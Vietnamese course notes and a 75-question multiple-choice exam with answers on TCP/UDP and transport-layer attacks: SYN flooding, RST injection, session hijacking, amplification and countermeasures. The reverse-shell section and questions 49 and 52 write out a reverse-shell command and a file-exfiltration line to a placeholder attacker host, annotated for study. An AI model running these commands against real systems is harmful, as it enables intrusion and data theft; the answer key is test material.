CHƯƠNG 9: TRANSPORT LAYER & TCP/UDP ATTACKS¤
1. TRANSPORT LAYER CƠ BẢN¤
Chức năng¤
- Logical communication giữa application processes trên các hosts khác nhau
- Sender: chia message thành segments → network layer
- Receiver: ghép segments thành message → application layer
Port Ranges¤
0 - 1023: Well-known ports (cần super-user)
HTTP(80), HTTPS(443), SSH(22), FTP(20,21),
DNS(53), SMTP(25), Telnet(23)
1024 - 49151: Less well-known ports
OpenVPN(1194), Docker(2375-2377)
49152 - 65535: Private ports (source ports)
2. TCP vs UDP - SO SÁNH¤
| Đặc điểm | TCP | UDP |
|---|---|---|
| Connection | Connection-oriented | Connection-less |
| Reliability | ✅ Đảm bảo | ❌ Không đảm bảo |
| Ordering | ✅ Có thứ tự | ❌ Không thứ tự |
| Speed | 🐢 Chậm hơn | 🐇 Nhanh hơn |
| Overhead | Cao (20 bytes header) | Thấp (8 bytes header) |
| Packet | Stream-based | Boundary-based |
| Broadcast | ❌ | ✅ |
| Use case | Web, Email, File transfer | DNS, VoIP, Streaming, Gaming |
3. UDP PROTOCOL¤
UDP Header (8 bytes - 4 fields)¤
┌─────────────────┬─────────────────┐
│ Source Port │ Dest Port │ 16 bits each
├─────────────────┼─────────────────┤
│ Length │ Checksum │ 16 bits each
├─────────────────────────────────────┤
│ Application Data │
└─────────────────────────────────────┘
UDP Applications¤
- DNS: Query/Response
- Streaming: Video/Audio (Netflix dùng TCP, Skype/Zoom dùng UDP)
- Real-time: Gaming, VoIP
- VPN: OpenVPN tunnel
4. UDP ATTACKS¤
4.1 UDP Ping-Pong Attack¤
Nguyên lý: Exploit services tự động reply
Bước 1: Spoof packet với:
Source Port = auto-reply port (vd: 13-daytime)
Dest Port = auto-reply port (vd: 37-time)
Bước 2: Server A nhận → reply đến Server B
Server B nhận → reply đến Server A
→ Vòng lặp vô tận (Ping-Pong)
Trigger: Gửi 1 packet giả mạo để khởi động vòng lặp
4.2 UDP Amplification Attack¤
Nguyên lý: - Apps reply với packets LỚN cho requests NHỎ - Attacker spoof source IP = victim IP - Server gửi large response → victim
Amplification Factor = Response Size / Request Size
Ví dụ: - DNS: 28-54x - NTP: 556x - CharGen: 358x
5. TCP PROTOCOL¤
5.1 TCP Header (Min 20 bytes)¤
0 15 16 31
┌─────────────────────┬─────────────────────┐
│ Source Port │ Destination Port │
├─────────────────────┴─────────────────────┤
│ Sequence Number (32 bits) │
├───────────────────────────────────────────┤
│ Acknowledgment Number (32 bits) │
├─────┬───┬─────────┬─────────────────────┬─┤
│HL(4)│Res│Flags(6) │ Window (16) │
├─────┴───┴─────────┼─────────────────────┤
│ Checksum │ Urgent Pointer │
├───────────────────┴─────────────────────┤
│ Options (nếu có) │
└─────────────────────────────────────────┘
Flags (6 bits): SYN, FIN, ACK, RST, PSH, URG
Sequence Number: Số thứ tự octet đầu tiên trong segment ACK Number: Sequence number tiếp theo mà receiver mong đợi Window: Flow control - số bytes sẵn sàng nhận
5.2 TCP 3-Way Handshake¤
Client Server
│ │
│ ① SYN (seq=x) │
│─────────────────────────────→│
│ │ TCB vào queue
│ ② SYN-ACK (seq=y, ack=x+1) │ (half-open)
│←─────────────────────────────│
│ │
│ ③ ACK (ack=y+1) │
│─────────────────────────────→│
│ │ TCB ra khỏi queue
│ ESTABLISHED │ → ESTABLISHED
TCB (Transmission Control Block): Lưu thông tin connection - Sau ①②: Half-open connection (TCB trong queue) - Sau ③: Full connection (TCB ra khỏi queue)
5.3 TCP States¤
- LISTEN: Chờ connection request
- SYN_RECV: Half-open (đã nhận SYN, chưa nhận ACK)
- ESTABLISHED: Connection hoàn thành
5.4 Đóng Connection¤
Bình thường (4-way):
Khẩn cấp (RST):
5.5 Send/Receive Buffers¤
- Send Buffer: Chứa data chờ gửi
- Receive Buffer: Chứa data đã nhận
- Sequence numbers duy trì thứ tự
- Receiver gửi ACK packets xác nhận
5.6 Demultiplexing¤
TCP: Dùng 4-tuple - (Source IP, Source Port, Dest IP, Dest Port) - Mỗi connection = 1 socket riêng
UDP: Chỉ dùng Dest Port - Cùng port → cùng socket → có thể mix data
6. TCP SYN FLOODING ATTACK¤
Mục tiêu¤
Fill queue lưu half-open connections → server không accept SYN mới
Cách thực hiện¤
Bước 1: Gửi liên tục nhiều SYN packets
- Random source IPs (bypass firewall)
- Mỗi SYN tạo 1 TCB trong queue
Bước 2: KHÔNG gửi ACK (bước ③)
- TCB vẫn ở trong queue
- Queue đầy → server từ chối SYN mới
Quan sát¤
netstat: Nhiều connections ở state SYN_RECV- CPU usage: KHÔNG cao (server vẫn sống)
- Chỉ port bị tấn công không accept connections mới
Countermeasure: SYN Cookies¤
Bước 1: Server nhận SYN
→ Tính H = hash(SYN packet info + secret key)
→ Gửi H làm initial sequence number
→ KHÔNG lưu TCB vào queue
Bước 2: Client hợp lệ → gửi H+1 trong ACK
Server verify H → tạo connection
Bước 3: Attacker không nhận được H
→ không gửi được ACK hợp lệ
Enable/Disable:
# Disable (để test attack)
sudo sysctl -w net.ipv4.tcp_syncookies=0
# Enable (bật bảo vệ)
sudo sysctl -w net.ipv4.tcp_syncookies=1
7. TCP RESET ATTACK¤
Mục tiêu¤
Break (đứt) TCP connection giữa A và B
Yêu cầu để spoof RST packet¤
✓ Source IP (của A)
✓ Source Port (của A)
✓ Dest IP (của B)
✓ Dest Port (của B)
✓ Sequence Number (trong receiver's window)
Cách lấy thông tin¤
Wireshark sniffing:
1. Sniff traffic giữa A-B
2. Lấy IPs, Ports từ TCP header
3. Lấy Sequence Number từ captured packet
Đặc điểm¤
- Telnet: Seq# tăng chậm (chỉ khi typing)
- Video streaming: Seq# tăng RẤT NHANH → phải reset liên tục
SSH Connection¤
- SSH encrypt: Chỉ payload, TCP header vẫn plaintext
- Reset Attack: VẪN thành công (chỉ cần header)
- VPN encrypt: Cả packet → Reset Attack FAIL
Tool¤
8. TCP SESSION HIJACKING¤
Mục tiêu¤
Inject (chèn) data vào established connection
Yêu cầu (giống Reset Attack)¤
Sequence Number Accuracy¤
Seq = x+δ:
δ = 0: Perfect
δ nhỏ: Data lưu ở position x+δ (có gaps)
δ lớn: Fall out of window → reject
Hậu quả¤
- Inject thành công → Telnet session FREEZE
- Cả user và server đều deadlock
- Connection không dùng được nữa
9. REVERSE SHELL¤
Khái niệm¤
- Shell chạy trên victim machine
- Input/Output qua TCP connection
- Attacker control từ xa
Command Breakdown¤
Phân tích từng phần:
/bin/bash Shell program
-i Interactive mode
> /dev/tcp/IP/PORT stdout → TCP connection
(pseudo device tạo TCP connection)
0<&1 stdin đọc từ stdout
(stdin ← TCP connection)
2>&1 stderr → stdout
(stderr → TCP connection)
Tại sao dùng Reverse Shell?¤
- Full control: Execute bất kỳ command nào
- Persistent: Giữ được quyền truy cập
- Best practice sau khi hijack
Ví dụ Steal Secret¤
# Thay vì dùng "cat" (in ra local)
cat secret
# Redirect qua TCP
cat secret > /dev/tcp/ATTACKER_IP/PORT
File Descriptors¤
0: stdin (input) - đọc dữ liệu vào
1: stdout (output) - xuất kết quả
2: stderr (error) - xuất lỗi
Redirect operators:
> Redirect output
< Redirect input
& Reference to file descriptor
2>&1 stderr đi cùng stdout
10. COUNTERMEASURES¤
10.1 Chống SYN Flooding¤
SYN Cookies: - Hash-based verification - Không lưu TCB vào queue - Verify bằng ACK packet
10.2 Chống Reset/Hijacking¤
1. Randomization:
Source Port: 16 bits → 65,536 possibilities
Initial Seq#: 32 bits → 4,294,967,296 possibilities
Total: 48 bits → 281,474,976,710,656 combinations
2. Encryption (BEST):
Transport Layer (SSH):
✓ Encrypt payload
✗ TCP header plaintext → vẫn bị Reset/Hijack
Network Layer (VPN/IPSec):
✓ Encrypt cả packet (header + payload)
✓ Chống được mọi TCP attacks
11. NETWORK PROGRAMMING¤
TCP Client¤
import socket
# Tạo socket
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
# Kết nối
sock.connect((ip, port))
# Gửi data
sock.send(b"data")
# Nhận data
data = sock.recv(1024)
TCP Server¤
import socket
# 1. Tạo socket
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
# 2. Bind port
sock.bind((ip, port))
# 3. Listen (queue size = 5)
sock.listen(5)
# 4. Accept (block cho đến khi có connection)
client_sock, addr = sock.accept()
# 5. Send/Receive
client_sock.send(b"data")
data = client_sock.recv(1024)
Multi-connection Server¤
while True:
client_sock, addr = sock.accept()
pid = os.fork() # Tạo child process
if pid == 0: # Child process
handle_client(client_sock)
else: # Parent process
continue # Tiếp tục accept
GHI NHỚ NHANH¤
TCP 3-Way Handshake¤
SYN → SYN-ACK → ACK
TCP States¤
LISTEN → SYN_RECV → ESTABLISHED
3 TCP Attacks chính¤
- SYN Flooding: Fill queue half-open
- Reset: Send RST → break connection
- Hijacking: Inject data → freeze session
Spoof Requirements (Reset + Hijack)¤
IPs + Ports + Sequence Number (in window)
Reverse Shell Template¤
Countermeasures Priority¤
- Encryption (best)
- SYN Cookies (chống SYN Flood)
- Randomization (làm khó, không hoàn toàn)
Port Commands¤
Check SYN Cookie¤
Tools¤
- Wireshark: Sniff packets
- Netwox 76: SYN Flooding
- Netwox 78: Reset Attack
- Scapy: Custom packet crafting
TRANSPORT LAYER & TCP/UDP ATTACKS - CÂU HỎI THI¤
PHẦN 1: TRANSPORT LAYER CÔ BẢN¤
Câu 1: Transport layer cung cấp loại communication nào?
A. Physical communication giữa các hosts
B. Logical communication giữa application processes trên các hosts khác nhau
C. Direct communication giữa các routers
D. Hardware communication giữa các switches
✅ Đáp án: B
Câu 2: Hai transport protocols chính của Internet là gì?
A. HTTP và FTP
B. IP và ICMP
C. TCP và UDP
D. DNS và DHCP
✅ Đáp án: C
Câu 3: Khoảng port nào là Well-known ports?
A. 0 - 1023
B. 1024 - 49151
C. 49152 - 65535
D. 0 - 65535
✅ Đáp án: A - Cần super-user privilege
Câu 4: Khoảng port nào được dùng làm source ports (private ports)?
A. 0 - 1023
B. 1024 - 49151
C. 49152 - 65535
D. 1 - 100
✅ Đáp án: C
Câu 5: Port 80 dùng cho service nào?
A. FTP
B. SSH
C. HTTP
D. HTTPS
✅ Đáp án: C - HTTPS: 443, SSH: 22, FTP: 20/21
PHẦN 2: TCP VS UDP¤
Câu 6: TCP khác UDP về tính năng connection như thế nào?
A. Cả hai đều connection-oriented
B. TCP connection-oriented, UDP connection-less
C. TCP connection-less, UDP connection-oriented
D. Cả hai đều connection-less
✅ Đáp án: B
Câu 7: Protocol nào đảm bảo reliability (độ tin cậy)?
A. Chỉ TCP
B. Chỉ UDP
C. Cả TCP và UDP
D. Không có protocol nào
✅ Đáp án: A - UDP không đảm bảo reliability
Câu 8: Protocol nào đảm bảo ordering (thứ tự) của packets?
A. Chỉ TCP
B. Chỉ UDP
C. Cả TCP và UDP
D. Không có protocol nào
✅ Đáp án: A
Câu 9: Protocol nào NHANH hơn?
A. TCP
B. UDP
C. Bằng nhau
D. Tùy tình huống
✅ Đáp án: B - UDP nhanh hơn vì ít overhead
Câu 10: Protocol nào hỗ trợ broadcast?
A. Chỉ TCP
B. Chỉ UDP
C. Cả TCP và UDP
D. Không có protocol nào
✅ Đáp án: B
Câu 11: TCP là stream-based hay message-based?
A. Stream-based (không maintain packet boundary)
B. Message-based (maintain packet boundary)
C. Cả hai
D. Không có cái nào
✅ Đáp án: A - UDP: maintain boundary
Câu 12: Ứng dụng nào THƯỜNG dùng UDP?
A. Email (SMTP)
B. File transfer (FTP)
C. Web browsing (HTTP)
D. DNS, Video streaming, VoIP
✅ Đáp án: D - Real-time applications ưu tiên tốc độ hơn reliability
PHẦN 3: UDP PROTOCOL & ATTACKS¤
Câu 13: UDP header có bao nhiêu bytes?
A. 4 bytes
B. 8 bytes
C. 20 bytes
D. 40 bytes
✅ Đáp án: B - 4 fields × 2 bytes = 8 bytes - TCP header: 20 bytes minimum
Câu 14: UDP header gồm những field nào?
A. Source port, Dest port, Length, Checksum
B. Source port, Dest port, Sequence number, ACK number
C. Source IP, Dest IP, Length, Checksum
D. Source port, Dest port, Flags, Window
✅ Đáp án: A
Câu 15: UDP Ping-Pong Attack hoạt động như thế nào?
A. Gửi nhiều UDP packets để làm quá tải
B. Set source và dest ports đều là ports tự động reply (vd: daytime port 13) → tạo vòng lặp phản hồi vô tận
C. Giả mạo source IP
D. Reset UDP connection
✅ Đáp án: B
Câu 16: Để trigger UDP Ping-Pong Attack, cần làm gì?
A. Chỉ cần gửi packet bình thường
B. Spoof packet với source và dest ports đều là auto-reply ports (vd: port 13, 37)
C. Dùng TCP thay vì UDP
D. Không cần làm gì
✅ Đáp án: B
Câu 17: UDP Amplification Attack dựa trên nguyên lý gì?
A. Tăng số lượng packets
B. Applications reply với packets LỚN hơn requests, với forged source IP
C. Giảm bandwidth
D. Mã hóa traffic
✅ Đáp án: B - Amplification ratio = response size / request size
Câu 18: Amplification Factor là gì?
A. Tỷ lệ giữa số packets gửi và nhận
B. Tỷ lệ giữa response size và request size
C. Tốc độ mạng
D. Số lượng victims
✅ Đáp án: B
PHẦN 4: TCP PROTOCOL CƠ BẢN¤
Câu 19: TCP 3-way handshake gồm những bước nào?
A. SYN → ACK → FIN
B. SYN → SYN-ACK → ACK
C. SYN → SYN → ACK
D. CONNECT → ACK → DATA
✅ Đáp án: B
Câu 20: Trong TCP 3-way handshake, client gửi packet gì đầu tiên?
A. ACK packet
B. SYN packet với random sequence number x
C. FIN packet
D. RST packet
✅ Đáp án: B
Câu 21: Server reply SYN packet của client bằng gì?
A. ACK packet
B. SYN packet
C. SYN-ACK packet với random sequence number y
D. FIN packet
✅ Đáp án: C
Câu 22: TCB (Transmission Control Block) được dùng để làm gì?
A. Mã hóa data
B. Store information về connection
C. Routing packets
D. Checksum verification
✅ Đáp án: B
Câu 23: Half-open connection là gì?
A. Connection đã hoàn thành 3-way handshake
B. Connection chỉ nhận được SYN, chưa nhận ACK (sau SYN-ACK)
C. Connection bị closed
D. Connection bị timeout
✅ Đáp án: B - TCB được store trong queue
Câu 24: TCP header tối thiểu có size bao nhiêu bytes?
A. 8 bytes
B. 16 bytes
C. 20 bytes
D. 40 bytes
✅ Đáp án: C - UDP header: 8 bytes
Câu 25: Sequence number trong TCP dùng để làm gì?
A. Mã hóa data
B. Specify thứ tự của octets, đảm bảo ordering
C. Checksum
D. Flow control
✅ Đáp án: B
Câu 26: Acknowledgement number trong TCP có ý nghĩa gì?
A. Số packets đã nhận
B. Next sequence number mà receiver mong đợi
C. Tổng số bytes đã gửi
D. Port number
✅ Đáp án: B - Valid khi ACK bit được set
Câu 27: TCP Code bits gồm những flags nào?
A. SYN, ACK, PSH, URG
B. SYN, FIN, ACK, RST, PSH, URG
C. SYN, ACK, FIN
D. SYN, RST, ACK
✅ Đáp án: B
Câu 28: Window field trong TCP header dùng để làm gì?
A. Mã hóa
B. Flow control - số octets mà sender sẵn sàng nhận
C. Routing
D. Error detection
✅ Đáp án: B
Câu 29: Để đóng TCP connection bình thường, cần làm gì?
A. Gửi RST packet
B. Gửi SYN packet
C. 4-way handshake: FIN → ACK → FIN → ACK
D. Chỉ cần ngắt kết nối vật lý
✅ Đáp án: C
Câu 30: RST (Reset) packet dùng để làm gì?
A. Restart connection
B. Immediately break connection (không cần ACK)
C. Resend data
D. Reset sequence number
✅ Đáp án: B
PHẦN 5: TCP SYN FLOODING ATTACK¤
Câu 31: Mục tiêu của SYN Flooding Attack là gì?
A. Đánh cắp data
B. Fill queue lưu half-open connections → server không accept SYN packets mới
C. Giả mạo IP
D. Mã hóa traffic
✅ Đáp án: B
Câu 32: Các bước thực hiện SYN Flooding Attack?
A. Gửi nhiều ACK packets
B. Gửi liên tục nhiều SYN packets với random source IPs, KHÔNG hoàn thành bước 3 của handshake
C. Gửi FIN packets
D. Gửi RST packets
✅ Đáp án: B
Câu 33: Tại sao phải dùng random source IP trong SYN Flooding?
A. Để tăng tốc độ
B. Để bypass firewall và tránh bị block
C. Để giảm bandwidth
D. Không cần thiết
✅ Đáp án: B
Câu 34: Khi check TCP states với netstat, half-open connections ở state nào?
A. LISTEN
B. ESTABLISHED
C. SYN_RECV
D. CLOSED
✅ Đáp án: C
Câu 35: Command nào disable SYN Cookie countermeasure?
A. sudo sysctl -w net.ipv4.tcp_syncookies=1
B. sudo sysctl -w net.ipv4.tcp_syncookies=0
C. sudo iptables -F
D. sudo systemctl stop firewall
✅ Đáp án: B
Câu 36: Tool nào có thể dùng để launch SYN Flooding?
A. ping
B. traceroute
C. netwox, scapy, hoặc custom C code
D. netcat
✅ Đáp án: C - Netwox 76, Scapy, custom spoofing code
Câu 37: SYN Cookies hoạt động như thế nào?
A. Server encrypt tất cả SYN packets
B. Server tính keyed hash H từ SYN packet, gửi H làm initial sequence number (không lưu TCB vào queue)
C. Client gửi cookies cho server
D. Firewall block SYN packets
✅ Đáp án: B - Nếu client hợp lệ → gửi H+1 trong ACK - Server verify bằng cách recalculate
Câu 38: Khi SYN Flooding thành công, CPU usage trên server như thế nào?
A. Rất cao (100%)
B. Không cao, server vẫn alive nhưng KHÔNG accept connections mới trên port bị tấn công
C. Bằng 0
D. Giảm xuống
✅ Đáp án: B
PHẦN 6: TCP RESET ATTACK¤
Câu 39: Mục tiêu của TCP Reset Attack là gì?
A. Tạo connection mới
B. Break up (đứt) TCP connection giữa A và B
C. Tăng tốc độ connection
D. Mã hóa connection
✅ Đáp án: B
Câu 40: Để thực hiện TCP Reset Attack, cần spoof packet với những fields nào ĐÚNG?
A. Chỉ cần Source IP và Dest IP
B. Source IP, Source Port, Dest IP, Dest Port, Sequence number (trong receiver's window)
C. Chỉ cần Sequence number
D. Chỉ cần Port numbers
✅ Đáp án: B
Câu 41: Làm thế nào để lấy được Sequence number cho Reset Attack?
A. Đoán ngẫu nhiên
B. Sniff traffic bằng Wireshark để capture sequence number
C. Hỏi server
D. Không cần sequence number
✅ Đáp án: B
Câu 42: TCP Reset Attack có thành công với SSH connection không?
A. Không, vì SSH encrypt toàn bộ
B. Có, vì SSH chỉ encrypt payload (TCP header vẫn plaintext)
C. Tùy cấu hình
D. Không bao giờ
✅ Đáp án: B - Network layer encryption (VPN) mới encrypt TCP header
Câu 43: Để reset video-streaming connection, cần lưu ý gì về sequence number?
A. Sequence number không quan trọng
B. Sequence number tăng rất nhanh (phải reset liên tục mỗi packet)
C. Sequence number cố định
D. Không cần sequence number
✅ Đáp án: B - Khác với Telnet (typing → sequence number tăng chậm)
Câu 44: Tool nào dùng để tự động reset packets?
A. Wireshark
B. Netwox 78
C. netstat
D. ping
✅ Đáp án: B
PHẦN 7: TCP SESSION HIJACKING¤
Câu 45: Mục tiêu của TCP Session Hijacking là gì?
A. Ngắt connection
B. Inject (chèn) data vào established connection
C. Tạo connection mới
D. Monitor traffic
✅ Đáp án: B
Câu 46: Giống như Reset Attack, Session Hijacking cần spoof những fields nào?
A. Chỉ IP addresses
B. Source IP, Source Port, Dest IP, Dest Port, Sequence number (trong window)
C. Chỉ Port numbers
D. Tất cả fields
✅ Đáp án: B
Câu 47: Nếu sequence number x+δ với δ quá lớn, điều gì xảy ra?
A. Packet được accept ngay
B. Có thể fall out of receiver's window boundary
C. Tăng tốc độ
D. Không ảnh hưởng
✅ Đáp án: B - Data được lưu ở position x+δ trong buffer
Câu 48: Sau khi hijack thành công, Telnet session bị gì?
A. Hoạt động bình thường
B. Freeze (đơ) - deadlock giữa user và server
C. Tăng tốc
D. Tự đóng
✅ Đáp án: B
Câu 49: Để lấy secret file từ server trong Session Hijacking, nên dùng command gì?
A. cat secret (in ra màn hình)
B. cat secret > /dev/tcp/ATTACKER_IP/PORT (redirect đến TCP connection)
C. rm secret
D. ls -la
✅ Đáp án: B - /dev/tcp/IP/PORT: pseudo device tạo TCP connection
PHẦN 8: REVERSE SHELL¤
Câu 50: Reverse Shell là gì?
A. Shell chạy trên attacker machine
B. Shell process chạy trên remote machine, connecting back to attacker
C. Shell bình thường
D. Web shell
✅ Đáp án: B
Câu 51: File descriptor 0, 1, 2 lần lượt là gì?
A. File, Socket, Network
B. stdin, stdout, stderr
C. Input, Output, Error
D. Read, Write, Execute
✅ Đáp án: B
Câu 52: Command reverse shell điển hình là gì?
A. nc -l 9090
B. /bin/bash -i > /dev/tcp/ATTACKER_IP/PORT 0<&1 2>&1
C. cat /etc/passwd
D. ls -la
✅ Đáp án: B
- -i: interactive
- > /dev/tcp/IP/PORT: redirect stdout đến TCP connection
- 0<&1: stdin đọc từ stdout (TCP connection)
- 2>&1: stderr redirect đến stdout
Câu 53: Trong reverse shell command, option -i có ý nghĩa gì?
A. Install
B. Interactive - shell sẽ tương tác được
C. Input
D. Ignore
✅ Đáp án: B
Câu 54: 0<&1 trong reverse shell command làm gì?
A. Đóng stdin
B. stdin đọc từ stdout (từ TCP connection)
C. stdout ghi vào stdin
D. Không làm gì
✅ Đáp án: B
Câu 55: 2>&1 trong reverse shell command có nghĩa gì?
A. stderr redirect đến stdout (TCP connection)
B. stdout redirect đến stderr
C. Copy file
D. Không có ý nghĩa
✅ Đáp án: A
Câu 56: Tại sao Reverse Shell là "best command" sau khi hijack?
A. Nhanh nhất
B. Cho attacker full control shell trên victim machine
C. Đơn giản nhất
D. An toàn nhất
✅ Đáp án: B
PHẦN 9: COUNTERMEASURES¤
Câu 57: Cách phòng chống Session Hijacking hiệu quả nhất là gì?
A. Dùng firewall
B. Encrypt payload (attacker cần biết encryption key)
C. Tắt TCP
D. Dùng UDP thay TCP
✅ Đáp án: B
Câu 58: Randomize source port và initial sequence number giúp gì?
A. Tăng tốc độ
B. Làm khó khăn cho attacker đoán (nhưng vẫn vulnerable với local attacks)
C. Giảm bandwidth
D. Không giúp gì
✅ Đáp án: B - Source port: 16 bits - Initial sequence number: 32 bits - Đoán đúng: 2^48 possibilities
Câu 59: SYN Cookies giải quyết vấn đề gì?
A. Reset Attack
B. SYN Flooding Attack
C. Session Hijacking
D. Tất cả attacks
✅ Đáp án: B
Câu 60: Encryption ở Network layer (VPN) khác Transport layer (SSH) như thế nào?
A. Giống nhau
B. Network layer encrypt cả TCP header, Transport layer chỉ encrypt payload
C. Network layer chậm hơn
D. Transport layer mạnh hơn
✅ Đáp án: B - VPN: encrypt toàn bộ packet → chống được sniffing/spoofing TCP header - SSH: TCP header vẫn plaintext → vẫn bị Reset/Hijack attacks
PHẦN 10: TỔNG HỢP NÂNG CAO¤
Câu 61: Tại sao UDP không có 3-way handshake?
A. Không cần thiết
B. UDP connectionless, không cần establish connection
C. Quá phức tạp
D. Chưa phát triển
✅ Đáp án: B
Câu 62: Trong demultiplexing, TCP dùng gì để phân biệt connections?
A. Chỉ port numbers
B. 4-tuple: Source IP, Source Port, Dest IP, Dest Port
C. Chỉ IP addresses
D. Sequence numbers
✅ Đáp án: B
Câu 63: UDP demultiplexing dùng gì để phân biệt?
A. 4-tuple như TCP
B. Chỉ Destination Port
C. Source và Destination Ports
D. Chỉ IP addresses
✅ Đáp án: B - Đó là lý do UDP không tạo riêng socket cho mỗi client
Câu 64: Send buffer và Receive buffer trong TCP dùng để làm gì?
A. Mã hóa data
B. Store data tạm thời; Send buffer chứa data chờ gửi, Receive buffer chứa data đã nhận
C. Routing
D. Checksum
✅ Đáp án: B
Câu 65: Nếu 2 programs trên cùng machine gửi data đến cùng TCP server, server có bị mix data không?
A. Có, luôn luôn
B. Không với TCP (khác connections), Có với UDP (cùng port)
C. Có với cả TCP và UDP
D. Không bao giờ
✅ Đáp án: B - TCP: mỗi connection có riêng socket (4-tuple khác nhau) - UDP: demux chỉ dựa vào dest port
Câu 66: Urgent Pointer trong TCP header dùng khi nào?
A. Luôn luôn
B. Khi URG flag được set, để chỉ vị trí kết thúc urgent data
C. Khi có lỗi
D. Khi FIN flag set
✅ Đáp án: B - Urgent data không chờ trong queue, được deliver ngay
Câu 67: TCP Checksum được tính từ gì?
A. Chỉ TCP data
B. Chỉ TCP header
C. Part of IP header + TCP header + TCP data
D. Chỉ IP header
✅ Đáp án: C
Câu 68: Header Length field trong TCP có giá trị tính theo đơn vị gì?
A. Bytes
B. 32-bit words (nhân 4 để ra bytes)
C. Bits
D. Kilobytes
✅ Đáp án: B - 4 bits → max value 15 → max header 60 bytes
Câu 69: Khi attacker liên tục gửi RST packets đến server, hậu quả gì?
A. Server crash
B. Suspicious behavior, có thể trigger punitive actions
C. Không có gì
D. Server mạnh hơn
✅ Đáp án: B
Câu 70: fork() system call trong TCP server làm gì?
A. Tạo thread mới
B. Tạo child process để handle connection, parent tiếp tục accept connections mới
C. Đóng connection
D. Mã hóa data
✅ Đáp án: B - Return PID của child trong parent, return 0 trong child
Câu 71: listen() system call có argument thứ 2 là gì?
A. Port number
B. Số lượng connections có thể store trong queue
C. IP address
D. Timeout
✅ Đáp án: B - Ví dụ: listen(sockfd, 5)
Câu 72: accept() system call làm gì?
A. Tạo socket mới
B. Extract connection request từ queue, tạo NEW socket, return file descriptor
C. Đóng socket
D. Gửi data
✅ Đáp án: B
Câu 73: Netflix và YouTube dùng protocol gì cho streaming?
A. Chỉ UDP
B. TCP (hoặc UDP over TCP)
C. Chỉ ICMP
D. HTTP only
✅ Đáp án: B - Adaptive streaming cần reliability - Real-time communication (Zoom, Skype): UDP
Câu 74: Mitnick Attack là gì?
A. DoS attack
B. Classic attack dùng TCP sequence number prediction để forge TCP session
C. SQL injection
D. XSS attack
✅ Đáp án: B - Emulate Shimomura's computers
Câu 75: Khi TCP connection nhận out-of-order segment (sequence x+δ), xử lý như thế nào?
A. Drop ngay
B. Store trong buffer ở position x+δ, chờ missing data
C. Gửi RST
D. Ignore
✅ Đáp án: B
GHI NHỚ QUAN TRỌNG¤
TCP vs UDP¤
| Feature | TCP | UDP |
|---|---|---|
| Connection | Oriented | Less |
| Reliability | ✅ | ❌ |
| Ordering | ✅ | ❌ |
| Speed | Chậm | Nhanh |
| Broadcast | ❌ | ✅ |
| Packet | Stream | Boundary |
Port Ranges¤
- 0-1023: Well-known (super-user)
- 1024-49151: Less well-known
- 49152-65535: Private (source ports)
TCP 3-Way Handshake¤
- Client → Server: SYN (seq=x)
- Server → Client: SYN-ACK (seq=y, ack=x+1)
- Client → Server: ACK (ack=y+1)
TCP States¤
- LISTEN: Waiting for connection
- SYN_RECV: Half-open (chỉ nhận SYN)
- ESTABLISHED: Full connection
Attacks Summary¤
SYN Flooding: - Fill queue bằng half-open connections - Random source IPs - Không hoàn thành ACK - Countermeasure: SYN Cookies
TCP Reset: - Spoof RST packet - Cần: IPs, Ports, Seq# (in window) - Break connection ngay lập tức
Session Hijacking: - Inject data vào connection - Cần: IPs, Ports, Seq# (in window) - Best command: Reverse shell
Reverse Shell Command¤
--i: interactive
- > /dev/tcp/IP/PORT: stdout → TCP
- 0<&1: stdin ← stdout
- 2>&1: stderr → stdout
File Descriptors¤
- 0: stdin
- 1: stdout
- 2: stderr
Countermeasures¤
- Randomize: source port (16-bit) + seq# (32-bit)
- Encrypt: payload (best solution)
- SYN Cookies: chống SYN Flooding
- VPN: encrypt cả TCP header